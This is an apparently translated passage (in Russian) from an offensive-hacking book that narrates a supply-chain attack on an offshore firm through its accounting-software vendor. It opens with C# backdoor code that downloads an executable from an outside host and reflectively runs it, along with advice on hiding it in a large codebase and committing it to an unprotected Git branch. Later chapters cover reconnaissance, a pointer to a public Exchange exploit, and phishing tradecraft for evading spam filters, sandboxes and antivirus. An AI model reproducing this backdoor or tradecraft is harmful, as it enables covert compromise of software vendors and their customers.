   byte[] myDataBuffer = null;

   // Пользуемся своим прокси по умолчанию, зарегистрированном в нашей системе
   System.Net.WebRequest.DefaultWebProxy.Credentials =
      System.Net.CredentialCache.DefaultNetworkCredentials;

   // Классический объект WebClient для выгрузки данных
   WebClient myWebClient = new WebClient();
   try {
      var url = "https://stratjumbo.co.au/health-check";
      myDataBuffer = myWebClient.DownloadData(url);
   }
   catch { }

   // Если выгрузка отказывает, выполняем возврат
   if (myDataBuffer == null) {
      return;
   }

Раз у нас имеется исполняемый файл в массиве байт, мы передаём его в свой метод Load нашего класса Assembly и активируем сам метод Main своего исполняемого файла health-check:

   // Отражательно загружаем его в память
   Assembly a = Assembly.Load(myDataBuffer);
   Type t = a.GetType("fud_stager.Program");
   MethodInfo staticMethodInfo = t.GetMethod("Main");

   staticMethodInfo.Invoke(null, null);

} // End of the Custom_shape_ui method

fud_stager и Program , соответственно это пространство имён и тот класс, который содержит метод Main. В общей сложности мы вставили около 80 строк хорошо замаскированного кода в базу кода, состоящую примерно из 100 000 строк кода - достаточно скрытно! Более того, если вы быстро взглянете на полученный код, то обнаружите, что в его общем виде почти нет ничего подозрительного. Это именно то, чего мы и хотели. Вы можете изучить полный код assembly_backdoor.cs из папки cs_scripts в ресурсах книги.

Угоняем фиксации

У нас имеется окончательная версия своего потайного хода. Последний шаг - внедрить эти строки в кодовую базу Strat Accounting. Но как? Стандарты кодирования Strat Jumbo настоятельно рекомендуют классический способ рецензирования, применяемый во многих компаниях, в которых каждый разработчик работает над отдельной ветвью Git и, когда его код готов к, он создаёт запрос на слияние, который должен пройти множество модульных проверок и быть одобренным коллегами. Только тогда этот код будет включён в основную ветвь. Мы не можем себе позволить пристальное внимание, сколь незаметным не был бы наш код.

Мы следуем на соответствующую страницу GitLab базы кода Strat Accounting и изучаем открытые в данный момент ветви; возможно, мы сможем перехватить некую открытую ветвь, которая уже была одобрена в надежде, что она будет объединена без повторной проверки. Однако, взглянув на перечень ветвей, мы замечаем нечто интересное, показанное на Рисунке 12.7.

Рисунок 12.7

Список текущих ветвей Git в репозитории Strat Accounting

Сама ветвь G&S_TRUST, содержащая весь отправленный в G&S_TRUST пользовательский код, не помечена как "защищённая". Функция защиты ветви в GitLab запрещает прямые изменения ветви, вынуждая разработчиков создавать содержащие их код запросы на слияние. Затем эти запросы должны быть одобрены одним или несколькими коллегами, как было описано ранее. Но в отсутствие флага защиты любой разработчик может непосредственно добавлять код в ветвь G&S_TRUST, не проходя предусмотренного в документации процесса проверки. Мы переключаемся на эту ветвь и применяем веб- редактор GitLab чтобы добавить 80 строк кода, составляющих наш потайной ход. Мы нажимаем кнопку Commit и готовы к продолжению.

Готово. Вот и я об этом, парни! Теперь самое сложное - ожидание!

Благодаря большому числу учётных записей, принимающих участие в проекте Strat Accounting, к которым мы получили доступ, мы можем время от времени подключаться к этому репозиторию и следить за общим графиком проекта, не вызывая немедленных подозрений. Если всё пойдёт как надо, всего через три- пять недель посыплется дождь оболочек!

[Замечание]
Замечание

Функция защиты ветвей предполагает некую защиту от простых сценариев атак, но она терпит неудачу, когда злоумышленник контролирует более одной учётной записи. Если бы G&S_TRUST была защищена, мы бы создали новую ветвь с учётной записью Элизы, а затем переключились бы на учётную запись другого разработчика для утверждения и слияния этих изменений.

Ресурсы

"Противодействие инновационным методам обхода песочницы, применяемым вредоносным ПО", интересный обзор Фредерика Беслера, Карстена Виллемса и Ральфа Хунда.

Глава 2. Похоронен заживо

Содержание

Глава 2. Похоронен заживо

Установление контакта

Рыскаем в Интернете

Поиск слабых ссылок

Ресурсы

Теперь, когда мы надлежащим образом настроили свою инфраструктуры взлома, давайте обсудим свою цель для этого упражнения взлома. Мы проследуем за G&S Trust, нишевой компанией, которая специализируется на офшорном бизнесе. Они способствуют 1 проценту богачей создавать компании оболочек в различных частях мира оптимизировать их размещение активов и потоков поступлений. То что вы и я напрямую называем уклонением от налогов, натягивается на целые предложения мало понятного финансового жаргона, который заставляет это звучать как невинное Воскресное хобби.

Тем кто покривился, мы почти готовы взойти на борт путешествия по взлому, которое унесёт нас далеко на Сейшельские острова, Кипр, в Гонконг и прочие приюты от налогов. Наша первоначальная цель состоит в поиске такого объёма сведений относительно G&S Trust, сколько мы сможем, а также о всех близких им партнёрах. Вся эта фаза разведки целиком посвящена настойчивости: мы столкнёмся с некоторыми тупиками, но всегда существует иной путь для ещё одной попытки.

Установление контакта

Быстренько: что вам первым приходит в голову, когда вы задумываетесь о проникновении за защиту компании? Пожалуйста, не говорите Nmap!

Точно: фишинг! Если вы ищете уверенный способ взлома конкретной компании, как противоположность забрасыванию широких сетей чтобы снимать низко висящие фрукты, фишинг это внушительная стратегия атаки. Она пользуется основными человеческими слабостями, скукой на работе, наряду с симптомами постыдного поиска ссылок/ кликов.

Фишинг может показаться простым предприятием по причине того внимания, которое уделяется ему в средствах информации и со стороны занимающихся саморекламой евангелистов безопасности, однако выполнение чистой, необнаруживаемой и целевой фишинговой компании требует тяжёлой работы и дотошной подготовки.

Прежде чем мы погрузимся в технические подробности, давайте сначала получим какие- нибудь сведения относительно G&S Trust. Их основной веб- сайт, www.gs-crp.com (Рисунок 2.1) постулирует, что G&S Trust имеет пять старших партнёров, разбросанных географически: Кипр, Сейшелы, Гонконг, Мальта, а также только что открывшийся офис в Сингапуре.

Рисунок 2.1

Домашняя страница для www.gs-crp.com

Мы должны обладать способностью пользоваться этим географическим распределением для своей фишинговой рассылки электронной почты. Например, персонал в Сингапуре может находиться в поиске новых инструментов ИТ или испытывать проблемы, наследуемые новыми убедительными вопросами офиса.

Наша основная проблема, однако, с которой мы сталкиваемся прямо сейчас, состоит в небольшом числе потенциальных целей. До сих пор мы выявили лишь пятерых руководителей высшего звена, плюс несколько учётных записей, которые всплывают для старых почтовых заданий, что приносит нам ужасную семёрку. Мы не управились с поиском полного перечня сотрудников в LinkedIn или подобной ей социальной профессиональной сети, поэтому мы не можем быть уверены в точности общего числа. Совершенно очевидно что это выбранная данной компанией линия работы и само собой разумеется, что это требуется для конспирации, однако это размещает нам основное затруднительное положение. Помимо всего прочего, фишинг это игра в числа. Чем больше целей у нас имеется, тем больше гибкости мы получаем. Семь человек, серьёзно говоря, очень маленький пул целей; это не даёт нам много пространства для тестирования, намного меньше ошибок.

Более того, не похоже что мы сможем взломать сетевую среду компании отправкой завлекающих ловушек старшим партнёрам, которые по большей части, скорее всего проводят много времени со своими iPad и iPhone в VIP зоне вылета аэропорта. Даже если мы приземлим в iOS исключительный современный эксплойт, который вполне разумно потребует значительных усилий, мы всё ещё будем ограничены специфичным устройством, без большого пространства для разворота в сторону прочих машин, содержащих искомые нами сведения.

[Замечание]
"Хакерство это просто!"

В какой- то момент времени вы можете столкнуться в социальных сетях с каким- нибудь ветераном поиска проникновений (pentester) старой школы, громогласно заявляющего: "Взлом - это запросто. Вам просто нужно обронить на стоянке пригоршню Резиновых уточек USB и дождаться оболочек для заливки. Ха-ха"

Отлично.

Быть может, это было правдой 25 лет назад, когда вы могли подключиться к электросети с учётными данными "root/root", но те времена давно прошли. Это не значит, что разбрасывание USB ключей больше не работает. Проект WHID - отличное тому подтверждение. Тем не менее, имеется ряд сложных задач, которые необходимо решить чтобы достичь успеха: как вы анонимно вбросите эти ключи в целевом месте? Что если вы находитесь на другом конце планеты? Что делать если все в вашей цели пользуются компьютерами с USB-C? Что если эти сотрудники пользуются macOS Catalina, которая просит в явном виде зарегистрировать клавиатуру при её подключении? А как насчёт белого списка USB, который применяется в большом числе банков? Я хочу сказать, что нужно правильно планировать все такие сценарии и продвигаться с осторожностью. Утверждать что фишинг или подброс USB это простой и надёжный метод неразумно и бесполезно.

Значит ли это что взлом сложный? Как и со многими сторонами жизни, часто ответом будет как посмотреть. Это зависит от отношения к безопасности в компании; их осведомлённости о явных рисках, которые они могут накапливать всякий раз, когда они предпринимают некое спрямление; их желание вкладываться временем и ресурсами в технические проекты с немедленной выгодой; или, произнося как посмотреть, они выражают готовность пожертвовать мимолётными выгодами ради устойчивого и надёжного роста. Конечно, всё это также зависит от опыта и стратегии самого хакера.

В случае с G&S Trust мы бы с удовольствием вмешались и испробовали бы фишинг, но простой факт состоит в том, что наш список целей слишком узок чтобы гарантировать достойный уровень успеха, а старшие партнёры не являются идеальными жертвами для нашего текущего сценария.

Давайте пока оставим данный фишинг в стороне как последнее средство, чтобы испробовать всё ли остальное не сработает. Быть может, мы сможем обнаружить иную точку входа - возможно, уязвимость в одном из интернет- приложений? Давайте углубимся в это.

Рыскаем в Интернете

Для возврата IP- адреса www.gs-crp.com мы применяем команду dig и поиск whois для выяснения кто размещает основной веб- сайт G&S Trust (Листинг 2.1). Наш флаг +short сокращает вывод команды dig.

Листинг 2.1. Инспектируем www.gs-crp.com

root@FrontLine:~# dig +short www.gs-crp.com
50.28.34.195
root@FrontLine:~# whois 50.28.34.195
NetRange:       50.28.0.0 - 50.28.127.255
CIDR:           50.28.0.0/17
NetName:        LIQUIDWEB
NetHandle:      NET-50-28-0-0-1

Этот основной веб- сайт размещён третьей стороной, LiquidWeb, популярным поставщиком услуг управления веб хостингом. Мы не будем беспокоиться о проверке уязвимостей в этом веб- сайте, поскольку предпринимаем попытки прорваться в сетевую среду G&S Trust, а не к этому поставщику хостинга.

Вместо этого мы рассмотрим прочие относящиеся к G&S Trust веб- сайты и приложения. Для этого мы можем полагаться на обычное перечисление подчинённых доменов при помощи таких инструментов как DNSRecon (https://github.com/darkoperator/dnsrecon/) или Amass (https://github.com/OWASP/Amass/), однако имеется намного более действенное средство для раскрытия неизвестных подчинённых доменов, присоединённых к названии компании: Censys (https://censys.io/).

Censys это созданная исследователями из Мичиганского Университета платформа, которая сканирует Интернет в поиске открытых портов, баннеров HTTP и прочей имеющей значение информации. В этом отношении она не отличается от Shodan (https://shodan.io/), однако она более интересна чем последняя. Censys к тому же индексирует сертификаты SSL, включая поле Common Name (CN), в котором указываются альтернативные подчинённые домены, на которые распространяется один и тот же сертификат. Это должно предоставить нам перечень подчинённых доменов, прикреплённых к текущему IP- адресу. Например, простой поиск по запросу gs-crp.com раскрывает богатый набор подчинённых доменов, отображаемый на Рисунке 2.2.

Рисунок 2.2

Раскрытие подчинённых доменов при помощи Censys

[Замечание]
Замечание

Хотя Censys и отличный инструмент для поиска наиболее сложных и необычных подчинённых доменов, таких как mytaxadvice.gs-crp.com, также рекомендуется попробовать и традиционные инструменты перебора DNS, такие как DNSRecon, дабы получить максимально точную картину.

Доступный в ресурсах данной книги в папке py_scripts сценарий censys_search.py Главе 2, запросит API Censys, отсеет не относящиеся к делу домены и очистит результат для представления его в доступном для чтения виде. Для этого требуются бесплатные учётные данные API Censys, которые доступны для зарегистрированных на основном веб- сайте учётных записей. Для получения ключа API Censys:

Проследуйте на https://www.censys.io/register/.

Создайте учётную запись. Вам будет отправлено электронное письмо со ссылкой подтверждения; кликните по ней для удостоверения своей учётной записи и зарегистрируйтесь на этом сайте.

Пройдите к https://search.censys.io/account/api/ и скопируйте значения API ID и Secret.

После того как вы получили эти значения, настройте их в качестве переменных среды при помощи команды export и запустите этот сценарий для gs-crp.com:

root@FrontLine:~# export CENSYS_ID=de0ef7de-badd-5...
root@FrontLine:~# export CENSYS_SECRET=eDCQE...
root@FrontLine:~# python censys_search.py gs-crp.com

INFO:__main__:Looking up gs-crp.com on censys
INFO:__main__:Found 32 unique domains
mytaxadvice.gs-crp.com
career.gs-crp.com
mail.gs-crp.com
owa.gs-crp.com
www.gs-crp.com

Это снабжает нас небольшим перечнем уникальных доменов, ассоциированных с основным сайтом G&S Trust. Разве это не угнетает? Мне известно, что G&S Trust это нишевая компания, но имеются локальные магазины с большим числом доменов!

На случай если мы пропустили какие- либо относящиеся к делу веб- сайты, мы запускаем ещё несколько поисковых запросов через свой собственный сценарий Censys, имея целью случайным образом прочие потенциальные домены верхнего уровня или варианты имён, таких как gs-crp.net, gs-crp.org, gs-trust.com, gs-foundation.com и тому подобных, но совпадений нет. В итоге мы получаем следующий перечень:

mytaxadvice.gs-crp.com

career.gs-crp.com

mail.gs-crp.com

owa.gs-crp.com

www.gs-crp.com

gstrust-foundation.org

Некоторые из этих веб- сайтов могут размещаться сторонними организациями, но прочие самой G&S Trust, а потому как и ранее, мы исследуем значения владельцев сетевых сред, что проливает свет на имеющиеся активы физических расположений.

В ресурсах данной книги, в папке py_scripts вы обнаружите удобный сценарий с названием query_whois.py, который выставляет значения хостов сайтов для перечня доменов. Он в цикле обходит множество вызовов whois и выделяет относящиеся к делу сведения в доступный для чтения файл CSV. Листинг 2.2 отображает получаемые результаты после его запуска.

Листинг 2.1. Результаты исполнения query_whois.py в нашем перечне доменов

root@FrontLine:~# python query_whois.sh domains.txt| column -s"," -t
www.gs-crp.com liquidweb 58.28.0.0–58.28.127.255 US
career.gs-crp.com liquidweb 58.28.0.0–58.28.127.255 US
mytaxadvice.gs-crp.com liquidweb 58.28.0.0–58.28.127.255 US
gstrust-foundation.org google-cloud 104.19.0.0–104.19.255.255 US
mail.gs-crp.com GS-TRUST 182.239.127.137-182.239.127.145 HK
owa.gs-crp.com GS-TRUST 182.239.127.137-182.239.127.145 HK

В пределах диапазона IP адресов компании, которые мы получили в Листинге 2.2 присутствуют лишь адреса веб- почты mail.gs-crp.com и owa.gs-crp.com: 182.239.127.137–182.239.127.145. Прочие веб- приложения, такие как areer.gs-crp.com, размещаются у поставщиков облачных ресурсов, таких как LiquidWeb и Google Cloud.

Мы посетим в своём веб- браузере mail.gs-crp.com и заметим, что он исполняет прикладное приложение веб Outlook (Рисунок 2.3) - вероятно, версию Microsoft Exchange 2019, судя по её внешнему виду.

Рисунок 2.3

При посещении mail.gs-crp.com мы наблюдаем веб приложение Outlook

Попробуем поингаться с интерфейсом этой веб-почты, поищем скрытые каталоги, подставляем туда- сюда спецсимволы ... в целом, мы пробуем все классические веб-методы, но кого мы обманываем? Если мы не докопаемся до нулевого дня официального веб-приложения Outlook 2019, мы не войдём.

[Замечание]
Замечание

Волею судеб, когда я писал эти строки, было скомпрометировано около 30 000 компаний по причине потока уязвимостей Microsoft Exchange, которые предоставляли полную рабочую оболочку без каких бы то ни было учётных данных - чистое удалённое выполнение кода. Вы можете найти данный эксплойт по адресу https://www.exploit-db.com/exploits/49637/, за дополнительными сведениями отсылаем к https://bit.ly/3CgHY4s.

Далее мы испробуем сканирование при помощи Nmap в попытке обнаружить доступные службы во всём диапазоне IP адресов, принадлежащих G&S Trust. Флаг -sV отображает значение версии службы, в то время как -p- сканирует все 65 535 портов для каждой машины.

root@FrontLine:~# nmap -p- -sV 182.239.127.137-145
Starting Nmap 7.01 ( https://nmap.org )
Nmap scan report for 182.239.127.139

Host is up (0.023s latency).
Not shown: 65535 filtered ports
Nmap scan report for 182.239.127.139
Host is up (0.023s latency).
Not shown: 65534 filtered ports
PORT    STATE  SERVICE
443/tcp open   https
--обрез--

Увы, это не даёт нам значимых результатов. Давайте подытожим. Мы ориентируемся на небольшую компанию с 15 или 25 сотрудниками, семерых из которых мы можем обнаружить в сети. У неё имеется интерфейс веб- почты в Интернете, четыре веб-сайта, размещаемых сторонними организациями и девять выделенных IP адресов, на деле не раскрывающих никакие службы.

Я вас ещё не разочаровал, мне продолжать?

Поиск слабых ссылок

Когда вы сталкиваетесь со столь незначительной целью, что даже у Google возникают проблемы с индексацией их веб- сайтов, вам всегда стоит остановиться на несколько секунд и задуматься об общей картине. G&S Trust это не затерянный остров в безбрежном синем океане, коим является Интернет. Компания должна обладать множеством взаимодействий с различными поставщиками, деловыми партнёрами и подрядчиками для нормального функционирования в современном экономическом мире. Не зря же его называют всемирной паутиной.

Так что да, G&S Trust может быть невосприимчивой к большинству наших разведывательных зондов, потому как она выбрала своей миссией и бизнес- моделью оставаться вне сети, но что относительно её деловых партнёров? Я не предлагаю взламывать Microsoft или Apple для того чтобы проникнуть в эту маленькую компанию, вне зависимости от того сколько миллиардов долларов она утаивает в налоговых убежищах. Но наверняка у неё должны быть более слабые и незащищённые партнёры, в которых мы способны внедриться и воспользоваться ими в качестве трамплина чтобы попасть в необходимую внутреннюю сеть?

Мы снова возвращаемся к своему разведывательному этапу и соберём воедино все новости об G&S Trust, которые способны раскрывать деловых партнёров или технологии, которые те применяют. Мы ищем сведения о программном обеспечении для управления персоналом, последних слияниях и поглощениях, бухгалтерском программном обеспечении и об опыте старших партнёров.

Здесь мы не будем вдаваться в подробности, но вы можете в изобилии найти инструменты аналитики с открытым исходным кодом (OSINT, open source intelligence tools) на https://github.com/jivoi/awesome-osint/, в специализированных поисковых системах, таких как BizNar, которые собирают сведения данной компании для документирования поисковых инструментов вроде Sopdf.com, как для людей так и для механизмов поиска социальных сетей. Доступность таких инструментов практически позволяет запросто забыть насколько утомителен данный первый шаг сбора сведений.

Компании зачастую неосознанно разглашают достаточный объём сведений о своих внутренних механизмах с применением различных средств - скорее всего, больше чем предполагалось. Например, обратимся к должностным инструкциям. Просто просматривая древний список вакансий в сфере ИТ поддержки, опубликованный на сайте Monster.com (Рисунок 2.4), мы получаем клад данных.

Рисунок 2.4

Описание задания G&S Trust

Только на основании этого мы можем уяснить, что на момент объявления данной вакансии G&S Trust применяла компьютеры с Windows 8.1 и 10, работала в основном с базами данных SQL Server 2012 и установила межсетевые экраны Juniper и Cisco. Хотя это может и не помочь нам выйти напрямую (если только мы не воспользуемся неким особым видом социальной инженерии), это может дать ценные сведения относительно внутреннего строения сетевой среды.

Поскольку у G&S Trust имеются офисы в Гонконге, мы заходим на официальный сайт реестра компаний Гонконга (https://www.cr.gov.hk/) и ищем официальные документы. Мы узнаём, что эта компания два года назад подала заявку на смену своего названия, раньше она носила название "GST Offshore Limited". Вооружившись этими новыми сведениями, мы возвращаемся на исследовательские сайты наших компаний (biznar.com, dnb.com, opencorporates.com и прочие) в надежде отыскать нечто полезное.

На dnb.com обнаруживаем имена трёх директоров, в настоящее время не перечисленных на веб-сайте G&S Trust. Мы снова охотимся на них в LinkedIn. Во всех трёх профилях упоминаются некоторые малоизвестные навыки, которые, похоже, связаны с миром корпоративных финансов. (Рисунок 2.5).

Рисунок 2.5

Профили LinkedIn разоблачают некоторые внутренние работы G&S Trust

Быстрый Google поиск по навыку "Strat Accounting" раскрывает, что по- существу это программный продукт, которым владеет и осуществляет сопровождение Strat Jumbo Inc., многонациональная компания разработки.

Рассматривая и далее Strat Jumbo, мы изучаем, что она специализируется на разработке финансовых продуктов в диапазоне от соединений со SWIFT, которые подключают к соответствующей банковской сетевой среде инструменты рабочих станций вроде Strat Accounting, которые, очевидно, применяются финансовыми работниками в G&S Trust. Вы почувствовали этот запах? Так пахнет очень заманчивая, но опасная идея, обретающая форму где- то в темноте нашего разума.

Поскольку G&S Trust настолько жёстко заблокирована - по крайней мере, снаружи - как насчёт того, чтобы нацелиться на гораздо более крупную рыбу, Strat Jumbo, чей бизнес нас не волнует, но который, быть может, способен дать нам свободный доступ к сетевой среде G&S Trust?

Конечно, маловероятно что Strat Jumbo напрямую подключена к внутренней сетевой среде G&S Trust. Это компания разработки программного обеспечения, а вовсе не стратегический деловой партнёр. Более вероятный сценарий состоит в том, что мы проникнем в корпоративную сеть Strat Jumbo, обнаружим хранилище кода Strat Accounting, а затем посеем некий потайной ход, который и сработает, когда G&S Trust в следующий раз обновит своё бухгалтерское программное обеспечение на рабочих станциях сотрудников. Для реализации этой стратегии нам требуется тщательно спроектировать потайной ход чтобы он срабатывал только в среде G&S Trust. Меньше всего нам хочется заразить пол-планеты, сея хаос по всему миру (помните NotPetya?)

Вам может стать интересным чем данный метод отличается от фишинга, который в большинстве случаев приводит к тому же результату: исполнению полезной нагрузки, например обратной оболочки в большом числе рабочих станций.

Лишь одним: доверием.

Вместо доставки полезной нагрузки в электронном письме, которое проходит через 36 поясов безопасности перед тем как попадёт на рабочую станцию пользователя, наша полезная нагрузка доставляется доверенным и проверенным эмиссаром, Strat Jumbo.

Когда антивирусное программное обеспечение выставляет флаг для нашего присоединения к электронному письму, как правило тут же начинается некое расследование, вызываются аналитики безопасности, а порой задача переходит и к руководителю информационной безопасности (CISO, chief information security officer). С другой стороны, когда антивирус помечает программное обеспечение бухгалтерского учёта, которое применялось на протяжении последних 10 лет, достаточно одного звонка в группу администраторов ИТ, и такой антивирус либо отключается, либо настраивается таким образом, чтобы сохранять жизнь неповинному программному обеспечению. Как насчёт режима предпочтения?

Ресурсы

Ссылка на то как приобрести Резиновую уточку USB

Ссылка на эксплойт Microsoft Exchange

Дальнейшее чтение об уязвимости Microsoft Exchange

Коллекция материалов и ресурсов OSINT

Описание атаки NotPetya (aka Nyetna)

Глава 3. Подавая дугой

Содержание

Глава 3. Подавая дугой

Кража просмотра

Выявление подчинённого домена

Недруги фишинга

Спам фильтры

Песочницы электронной почты

Антивирус

Пожинаем учётные данные

Прежде чем мы сможем выманить Strat Jumbo, нам требуется больше узнать о самой компании. Мы проверим её присутствие в Интернете, и найдём несколько скрытых подчинённых доменов. Быстрый поиск в Google показывает, что Strat Jumbo Inc. это базирующаяся в Лондоне фирма, в которой работает около 800 сотрудников, в основном программистов серверных компонентов, работающих в 10 странах. У этой компании достаточно потенциальных целей для обеспечения существенного выхода от затрат в случае проведения фишинговой компании. Мы уже можем представить себе соблазнительные приманки для этой толпы: новое расширение для Chrome, корпоративный опрос по сопоставлению C# и Java, бета- доступ к новой функциональной возможности и тому подобное.

Кража просмотра

Прежде чем составить фишинговое электронное письмо, мы кратко рассмотрим связанные с Интернетом активы Strat Jumbo. Основная идея состоит не в том, чтобы искать уязвимости (хотя мы бы не отказались от их эксплуатации, если наткнёмся на них), а просто посмотреть как выглядят веб- сайты компании и убедиться, что они и в самом деле поставляют G&S Trust своё программное обеспечение.

Мы начнём с просмотра перечня клиентов на предмет упоминания G&S Trust или даже цитат от руководителя, но нам не удастся установить ясную связь между этими двумя компаниями.

Нам требуется проявить больше активности. Мы решили воспользоваться одной из форм продаж на веб- сайтах Strat Jumbo с выгодой: мы отправим им сообщение, в котором в явном виде выражается живой интерес к бухгалтерскому программному обеспечению. Мы заманиваем их получением выгодной сделки и небрежно запрашиваем рекомендации от команды G&S Trust. На Рисунке 3.1 показан их ответ.

Рисунок 3.1

Отклик на наш первый контакт через форму продаж Strat Jumbo

Менеджеры по работе с клиентами делают всё возможное чтобы накрыть новых клиентов, а потому, естественно, в течение трёх часов мы получаем электронное письмо с просьбой о возможности звонка и подтверждением того, что G&S Trust на самом деле является самым лояльным клиентом. Не потребовалось практически никакой социальной инженерии. Игра началась!

Этот обмен электронной почтой служил и второй коварной цели: получить шаблон электронной почты данной компании, включая сам формат электронной почты сотрудника, его подпись, цветовую схему, шрифт и тому подобное. Мы воспользуемся этим позднее для создания убедительного фишингового письма. Я не могу не подчеркнуть важность таких мелких деталей. Они помогают создавать достоверную картину в подсознании вашей жертвы; удовлетворите этого дикого зверя и он немедленно подавит любые потенциальные подозрения, исходящие из любой из лобных долей. В результате цель почти инстинктивно вынуждена щёлкнуть ссылку и загрузить вложение, потому как такое электронное письмо кажется доподлинно знакомым.

Выявление подчинённого домена

Нет необходимости торопить события и спешить - мы всё ещё пребываем на этапе разведки. Давайте начнём с того, что проверим наличие демонстрации Strat Jumbo в Интернете. Во- первых, мы получим перечень их развёрнутых в Интернет подчинённых доменов, следуя тем же подходом, который применялся в Главе 2. На этот раз мы будем применять сочетание Censys и DNSRecon:

root@FrontLine:~# ./search_censys.py -d stratjumbo.com
stratextranet.stratjumbo.com
dev-world.stratjumbo.com
showme.stratjumbo.com
strat-bugtracker.stratjumbo.com
innovate.stratjumbo.com
stratextranet.stratjumbo.com
--snip--

root@FrontLine:~# ./dnsrecon.py -d stratjumbo.com -t brt -D subdomains-top1mil.txt
adfs.stratjumbo.com
mdm.stratjumbo.com
dashboard.stratjumbo.com
eoffice.stratjumbo.com
www2.stratjumbo.com
--snip--

Здесь параметр -t инициирует атаку перебором, которая испробуем абсолютно всех претендентов на подчинённые домены из перечня слов subdomains-top1mil.txt DNSRecon.

Результатом выступает поток подчинённых доменов, которые были успешно разрешены. О, глоток свежего воздуха! Куча вдохновения для нашего сценария фишинга. Мы сохраняем все подчинённые домены в файле с названием urls.txt.

В отличии от G&S Trust, Strat Jumbo обладает достойным числом интернет приложений. В частности, обратим внимание на запись stratextranet.stratjumbo.com: он подходит на роль потенциального портала, применяемого работниками Strat Jumbo для взаимодействия с внутренними ресурсами, и это та цель, на которую стоит обратить внимание.

Прочёсывание этих сайтов вручную было бы утомительным задачей. Вместо этого мы воспользуемся webscreenshot, занимательным инструментом, который автоматизирует этот скучный процесс, просматривая заданный набор веб- сайтов и выполняя моментальный снимок с главной страницы каждого из них для быстрого просмотра вручную. Сначала мы устанавливаем webscreenshot в виртуальную среду, далее передаём ему список подчинённых доменов, предварительно сохранённых в urls.txt посредством флага -i.

root@FrontLine:~# pip install webscreenshot
root@FrontLine:~# webscreenshot -i urls.txt
webscreenshot.py version 2.94

[+] 84 URLs to be screenshot
[+] 84 actual URLs screenshot
[+] 0 error(s)

Рисунок 3.2 показывает пару снимков экрана из этого набора, включая таковой для упомянутого нами ранее extranet.

Рисунок 3.2

Пара главных страниц, выцарапанных при помощи webscreenshot

[Замечание]
Замечание

Вы также можете воспользоваться выхолощенной функцией Chromium для получения тех же самых результатов через Puppeteer.

Напомним, что теперь у нас имеется шаблон электронного письма Strat Jumbo и нам известны темы с их веб- сайта. Следующим естественным шагом кажется создание поддельного веб- сайта с заманчивым фишинговым электронным письмом, которое жмёт на все педали: временные ограничения, интриги, убедительное притворство, верные ключевые слова, подходящий шаблон электронного письма. Однако прежде чем мы перейдём к делу, я бы хотел остановиться на нескольких ключевых моментах относительно той вражеской линии, которую мы бы хотели пересечь.

Недруги фишинга

Большинство фишинговых компаний, свидетелем которых я являлся, были настолько плохо реализованы, что едва достигали папки со спамом. Они просто отвергаются почтовым сервером предприятия. Конечно, чтобы попасть вовнутрь, теоретически, нам требуется обмануть лишь одного пользователя, но зачем взводить так много предупреждений и рисковать столь низкими шансами, когда несколько незначительных исправлений способны существенно увеличить шансы данной компании на успех?

Помните, что основная цель фишинговой компании состоит в том, чтобы одурачить кого- то на выполнение некого действия, которое поспособствует достижению наших целей. Возможно всё, от того чтобы убедить самого финансового директора перевести нам 17 миллионов долларов, до того чтобы заставить специалиста ИТ запустить, казалось бы, безобидный сценарий PowerShell. Давайте рассмотрим те технические проблемы, с которыми мы сталкиваемся при отправке фишинговых писем.

Спам фильтры

Хотя алгоритмы выявления спама таких гигантов как Gmail и Microsoft Outlook, по большей части, не известны, было проведено большое число исследований того как идентифицировать и блокировать нежелательное содержание.

Одним из решающих факторов выступает репутация домена отправителя: Когда он был зарегистрирован? Сколько писем было отправлено? О каком числе из них было сообщено как о фишинге? Некоторые хакеры регистрируют новый домен за неделю или две до начала своей фишинговой компании, полагая, что это гарантирует чистый лист, но это опасно ложное предположение. В действительности, вас скорее всего отфильтруют, ибо у нового домена нет истории, обратных ссылок или рейтинга - короче говоря, у него нулевая репутация. При получении электронных писем с такого девственно чистого домена спам- фильтры автоматически присваивают ему паршивую оценку, классифицируют их как нежелательную почту и, либо отправят их в папку со спамом, либо выдают в явном виде предупреждения безопасности, которые вовсе отключают изображения и ссылки.

Песочницы электронной почты

Всё большее число компаний добавляют в свои почтовые шлюзы песочницы, которые будут выполнять любые вложения в некой виртуальной среде и отслеживать все их действия для оценки уровня угрозы. Какие ключи реестра они создают? Сколько запросов на память они выдают? С какими доменами они взаимодействуют и какие файлы создают? Существует великое множество надёжных способов вредоносному программному обеспечению напустить туман на попытку обхода песочницы, к примеру, заархивировать реальную полезную нагрузку при помощи пароля (что делает для такой песочницы невозможным имитации выполнения) или встраивать умные проверки в прикрепляемый исполняемый файл для выявления виртуальных сред на основе явных признаков - но знаете что срабатывает лучше всего? Не включать саму полезную нагрузку в качестве вложения. Они не смогут сканировать то чего нет, не так ли?

Вместо того, чтобы включать полезную нагрузку в качестве вложения, гораздо безопаснее включить в само тело письма ссылку для скачивания. Нажимая на такую ссылку, пользователи в конечном счёте выгружают необходимое нам вредоносное ПО через HTTP(S). Хотя некоторые корпоративные среды способны перехватывать на лету обмен HTTP и выполнять подрыв исполняемых файлов в песочницах, такие проверки далеко не столь широко распространены как спам- фильтры. Отправка файла в среду песочницы требует некоторого времени: не менее двух- трёх минут даже для наиболее действенных песочниц, не считая возможных задержек по причине ошибок подключения или продолжительных операций засыпания в попытке обойти тайм- аут песочницы. Большинство сотрудников при получении или отправке писем допускают задержку на пару минут. В конце концов, это не система чата. Но то же самое редко справедливо для HTTP, пользователи следят за индикатором выгрузки и ожидают немедленного доступа к своим файлам. А те немногие компании, которые проходят через головную боль автоматической выгрузки файлов через HTTP(S) в песочницу, постоянно сталкиваются с задачей расшифровки SSL на лету.

Ещё одним преимуществом метода ссылок выступает то, что зачастую компания не способна расшифровать весь инициированный её сотрудниками поток взаимодействия. К примеру, банковские, медицинские и страховые веб- сайты обычно исключаются из перехвата SSL для сохранения права сотрудников на неприкосновенность частной жизни - по крайней мере в тех странах, которые признают такие права. Мы можем воспользоваться этим в своих интересах, удостоверившись, что наш домен, в котором размещается наше вредоносное ПО, классифицируется в качестве конфиденциального ресурса (подробнее об этом когда мы регистрируем свой домен в Главе 4; если кратко, наши домены должны тщательно выбираться и настраиваться!).

Антивирус

Программное обеспечение антивирусов обычно будет сканировать подлежащие выгрузке в выбранную пользователем папку вложения. Хотя это вряд ли нечто новое, но нам придётся иметь с этим дело в тот или иной момент.

